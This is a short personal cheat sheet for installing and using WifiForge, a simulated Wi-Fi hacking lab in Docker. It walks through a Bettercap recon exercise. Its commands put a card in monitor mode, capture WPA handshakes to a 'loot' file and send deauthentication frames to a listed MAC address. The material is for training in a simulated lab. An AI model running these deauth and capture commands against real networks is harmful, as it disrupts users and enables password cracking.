# WifiForge

WifiForge is an awesome tool for learning how to hack wifi...without any wifi hardware! Here's my cheat sheet for getting started, which is pretty much lifted directly from the installation docs

# Install Docker

sudo apt update -y
sudo apt install docker.io -y

# Install WifiForge

sudo docker pull redblackbird/wififorge:latest
sudo docker run --privileged=true -it --env="DISPLAY" --env="QT_X11_NO_MITSHM=1" -v /tmp/.X11-unix:/tmp/.X11-unix:rw -v /sys/:/sys -v /lib/modules/:/lib/modules/ --name mininet-wifi --network=host --hostname mininet-wifi redblackbird/wififorge:latest /bin/bash

# Run it

cd /WifiForge/
service openvswitch-switch start
sudo python3 WifiForge.py

# Bettercap recon lab

# Enumerate wifi cards

iwconfig

# Put wifi card in monitor mode

airmon-ng start Attacker-wlan0

# Start Bettercap

bettercap -iface wlan0mon

# Set loot file

set wifi.handshakes.file ./handshakes

# Enable recon

wifi.recon on

# Show wifi network update, refresh every few seconds

set ticker.commands 'clear; wifi.show'

# Enable ticker

ticker on

# Filter recon to just channel 6

wifi.recon.channel 6

# Deauth wifi

wifi.deauth 76:df:71:67:40:2b

# Copy captured handshakes from docker to local hard drive

sudo docker cp mininet-wifi:/handshake ~/handshake

# Starting WifiForge again later after exiting out

# Nuke old docker containers

sudo docker rm mininet-wifi

# Check that they're gone:

sudo docker ps -a

# Restart Docker

sudo docker run --privileged=true -it --env="DISPLAY" --env="QT_X11_NO_MITSHM=1" -v /tmp/.X11-unix:/tmp/.X11-unix:rw -v /sys/:/sys -v /lib/modules/:/lib/modules/ --name mininet-wifi --network=host --hostname mininet-wifi redblackbird/wififorge:latest /bin/bash

# Restart WiFiForge

cd /WifiForge/
service openvswitch-switch start
sudo python3 WifiForge.py